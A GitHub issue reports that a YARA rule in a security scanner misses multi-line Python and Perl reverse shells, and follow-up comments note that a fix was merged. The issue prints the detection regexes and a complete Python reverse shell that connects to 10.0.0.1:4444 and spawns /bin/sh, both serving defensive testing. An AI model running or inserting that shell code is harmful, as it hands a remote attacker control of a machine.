Repository navigation
Description
What's wrong
The built-in reverse_shell YARA rule (src/skillspector/yara_rules/malware.yar.b64, base64-packaged) includes two strings meant to catch a raw Python or Perl socket-based reverse shell:
$python_socket = /socket\.socket\(.*SOCK_STREAM.*\.connect\(/
$perl_socket = /use\s+Socket;.*socket\s*\(\s*SOCK/
Neither carries the s (dotall) modifier, and YARA's . does not match \n by default. Both patterns therefore only match when the whole snippet sits on one physical line — the python3 -c '...' one-liner form. A Python reverse shell bundled as an actual script file (the far more common shape for something shipped inside an AI agent skill) writes socket.socket(...) and .connect(...) as separate statements:
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.1", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])$python_socket never matches this, and none of reverse_shell's other strings ($bash_revshell, $nc_shell, $php_fsock, etc.) reference Python socket syntax, so the whole rule stays silent. static_yara reports completed, the recommendation stays SAFE, and --fail-on-incomplete exits 0 — the scan never noticed the reverse shell it shipped a signature specifically to catch.
Reproduction
import yara
src = r'''
rule test_socket
{
strings:
$python_socket = /socket\.socket\(.*SOCK_STREAM.*\.connect\(/
condition:
$python_socket
}
'''
rules = yara.compile(source=src)
oneliner = b's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444))'
multiline = b'''
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.1", 4444))
'''
print("one-liner:", rules.match(data=oneliner)) # [test_socket]
print("multi-line:", rules.match(data=multiline)) # [](yara-python 4.5.4, the version pinned in pyproject.toml.) Same result for $perl_socket against a multi-line use Socket; ... socket(SOCKET, ...).
Where
src/skillspector/yara_rules/malware.yar.b64 — decodes to malware.yar's reverse_shell rule, $python_socket/$perl_socket strings. This is the initial-release content (7ced4fb), carried through the base64 repackaging in #236 (90a9181) unchanged — the encoding changed, the regex did not.
Proposed fix
Add s on both strings so . spans newlines, bounded to a small window (e.g. .{0,200}) rather than unbounded .*, so the fix doesn't trade the false negative for a new false positive across two unrelated, far-apart socket calls in a large file. Happy to open the PR with tests.
Activity
rng1995 commentedon Sep 21, 2026
Fixes are being proposed in PR #593, PR #594, and PR #599. These are alternative implementations of bounded multiline Python/Perl socket-signature matching; none has merged. Keeping this issue open until an implementation is selected, reviewed, and merged.
rng1995 commentedon Oct 4, 2026
Merge-state update checked on 2026-10-06: PR #593 has merged, and GitHub automatically closed this issue as completed.
The built-in socket reverse-shell signature now supports multiline Python/Perl forms. Alternative PR #594 is still open, but is no longer a reason to keep this issue pending.